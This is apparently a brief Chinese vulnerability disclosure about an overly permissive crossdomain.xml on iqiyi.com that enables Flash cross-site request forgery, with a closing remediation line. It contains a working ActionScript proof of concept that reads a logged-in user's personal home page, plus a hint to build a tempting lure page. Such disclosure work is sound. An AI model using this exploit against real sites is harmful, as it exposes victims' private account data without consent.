flash跨域策略crossdomain.xml文件限制不严，造成flash csrf。
看crossdomain.xml

<?xml version="1.0"?>
  <cross-domain-policy> <site-control permitted-cross-domain-policies="all" />
    <allow-access-from domain="*" />
    <allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

1：permitted-cross-domain-policies为all造成加载目标域上的任何文件作为跨域策略文件，甚至是一 个JPG也可被加载为策略文件！[使用此选项那就等着被xx吧！]

2：allow-access-from 设为“*”任何的域，有权限通过flash读取本域中的内容。

3：allow-http-request-headers-from header设个“*”允许发送任何消息头。

个人首页url：http://i.iqiyi.com/home?lefttitlesign=percenter

获取用户用户个人首页信息：

import flash.net.*;

var mytest:String = "hello";
var myloader = new URLLoader(new URLRequest("http://i.iqiyi.com/home?lefttitlesign=percenter"));
myloader.addEventListener(Event.COMPLETE,test);
myloader.load();
function test(event:Event){
var ResponseText:String = myloader.data;
text1.text = ResponseText;
stop();
}

请求界面自己发挥下,弄点诱惑人的。

修复方案：

crossdomain.xml控制好